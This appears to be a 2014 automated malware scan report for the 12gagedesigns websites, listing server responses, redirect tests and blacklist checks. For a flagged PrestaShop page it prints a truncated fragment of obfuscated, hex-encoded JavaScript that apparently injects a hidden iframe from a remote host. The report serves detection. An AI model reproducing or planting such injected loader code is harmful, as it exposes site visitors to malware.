Scanned pages/files
Request | Server response | Status |
http://12gagedesigns.com/ | HTTP/1.1 200 OK Connection: close Date: Fri, 29 Aug 2014 09:42:26 GMT Accept-Ranges: bytes Server: Apache Vary: Accept-Encoding Content-Length: 4743 Content-Type: text/html Last-Modified: Wed, 28 Aug 2013 01:12:59 GMT | clean |
http://www.12gagedesigns.net/prestashop | HTTP/1.1 301 Moved Permanently Connection: close Date: Fri, 29 Aug 2014 09:42:27 GMT Location: http://www.12gagedesigns.net/prestashop/ Server: Apache Content-Length: 319 Content-Type: text/html; charset=iso-8859-1 | clean |
http://www.12gagedesigns.net/prestashop/ | HTTP/1.1 301 Moved Cache-Control: no-cache Connection: close Date: Fri, 29 Aug 2014 09:42:28 GMT Location: http://www.12gagedesigns.net/prestashop/index.php Server: Apache Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=utf-8 | clean |
http://www.12gagedesigns.net/prestashop/index.php | 500 Internal Server Error Content-Length: 4490 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) zq=4;a=("27,6d,7c,75,6a,7b,70,76,75,27,78,68,72,37,40,2f,30,27,82,14,11,27,7d,68,79,27,7a,7b,68,7b,70,6a,44,2e,68,71,68,7f,2e,42,14,11,27,7d,68,79,27,6a,76,75,7b,79,76,73,73,6c,79,44,2e,70,75,6b,6c,7f,35,77,6f,77,2e,42,14,11,27,7d,68,79,27,78,68,72,27,44,27,6b,76,6a,7c,74,6c,75,7b,35,6a,79,6c,68,7b,6c,4c,73,6c,74,6c,75,7b,2f,2e,70,6d,79,68,74,6c,2e,30,42,14,11,14,11,27,78,68,72,35,7a,79,6a,27,44,27,2e,6f,7b,7b,77,41,36,36,72,6c,7a,72,70,75,7b,79,68,72,7b,76,79,35,6a,76,74,36,71,7a,36,77,6a,61,7e Antivirus reports:
| ||
http://www.12gagedesigns.net/test404page.js | 404 Not Found Content-Length: 1170 Content-Type: text/html | clean |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: 12gagedesigns.com
Result:
HTTP/1.1 200 OK
Connection: close
Date: Fri, 29 Aug 2014 09:42:26 GMT
Accept-Ranges: bytes
Server: Apache
Vary: Accept-Encoding
Content-Length: 4743
Content-Type: text/html
Last-Modified: Wed, 28 Aug 2013 01:12:59 GMT
...4743 bytes of data.
GET / HTTP/1.1
Host: 12gagedesigns.com
Result:
HTTP/1.1 200 OK
Connection: close
Date: Fri, 29 Aug 2014 09:42:26 GMT
Accept-Ranges: bytes
Server: Apache
Vary: Accept-Encoding
Content-Length: 4743
Content-Type: text/html
Last-Modified: Wed, 28 Aug 2013 01:12:59 GMT
...4743 bytes of data.
Second query (visit from search engine):
GET / HTTP/1.1
Host: 12gagedesigns.com
Referer: http://www.google.com/search?q=12gagedesigns.com
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: 12gagedesigns.com
Referer: http://www.google.com/search?q=12gagedesigns.com
Result:
The result is similar to the first query. There are no suspicious redirects found.
Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=12gagedesigns.com
Result: This site is not currently listed as suspicious.
Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://12gagedesigns.com/
Result: 12gagedesigns.com is not infected or malware details are not published yet.
Result: 12gagedesigns.com is not infected or malware details are not published yet.